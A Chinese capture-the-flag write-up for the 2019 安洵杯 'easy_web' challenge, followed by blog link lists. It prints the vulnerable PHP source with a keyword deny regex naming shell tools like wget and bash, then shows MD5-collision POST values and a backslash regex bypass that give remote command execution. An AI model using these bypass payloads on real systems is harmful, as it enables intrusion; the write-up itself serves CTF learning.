[安洵杯 2019]easy_web

我是浮现的,所以就有源码了,但是我们还是不用源码来做
在这里插入图片描述
进来之后发现url有cmd尝试普通的cmd执行,但是没成功,img是一个base64.我们解码试试
在这里插入图片描述
补个等号,然后发现有两层,那么继续,发现16进制,继续解发现是图片,那么我们改成源码

index.php

在这里插入图片描述

在这里插入图片描述
解码得到index.php
在这里插入图片描述

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

先绕过md5才能触发

echo `cmd`

在这里插入图片描述
数组绕过不成功
强碰撞找了两组数据
可以绕过

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

思路继续我们要绕过正则
发现一个反斜杠直接绕过了
在这里插入图片描述

<?php
$cmd='l\s';
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    echo 1;
}

?>

在这里插入图片描述
成功RCE
在这里插入图片描述
在这里插入图片描述
欧克了,直接写空格会错,但是url编码之后就可以正常运行

相关推荐

  1. [ 2019]game & [SUCTF2018]babyre

    2024-07-13 19:58:01       52 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-13 19:58:01       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-13 19:58:01       72 阅读
  3. 在Django里面运行非项目文件

    2024-07-13 19:58:01       58 阅读
  4. Python语言-面向对象

    2024-07-13 19:58:01       69 阅读

热门阅读

  1. Mybatis-plus自动填充的使用以及常见问题

    2024-07-13 19:58:01       22 阅读
  2. swiper结合gsap进行切换

    2024-07-13 19:58:01       19 阅读
  3. 昇思训练营打卡第二十四天(LSTM+CRF序列标注)

    2024-07-13 19:58:01       16 阅读
  4. Nginx 日志统计分析命令

    2024-07-13 19:58:01       21 阅读
  5. 天童美语:放假给孩子看什么地理纪录片

    2024-07-13 19:58:01       17 阅读
  6. Perl 语言开发(十三):网络编程

    2024-07-13 19:58:01       22 阅读
  7. 块设备驱动实现--模拟一个块设备

    2024-07-13 19:58:01       16 阅读
  8. Docker

    2024-07-13 19:58:01       15 阅读
  9. docker

    2024-07-13 19:58:01       20 阅读
  10. qint64 pendingDatagramSize() const;

    2024-07-13 19:58:01       20 阅读
  11. ThreadLocal有哪些应用场景?底层如何实现?

    2024-07-13 19:58:01       21 阅读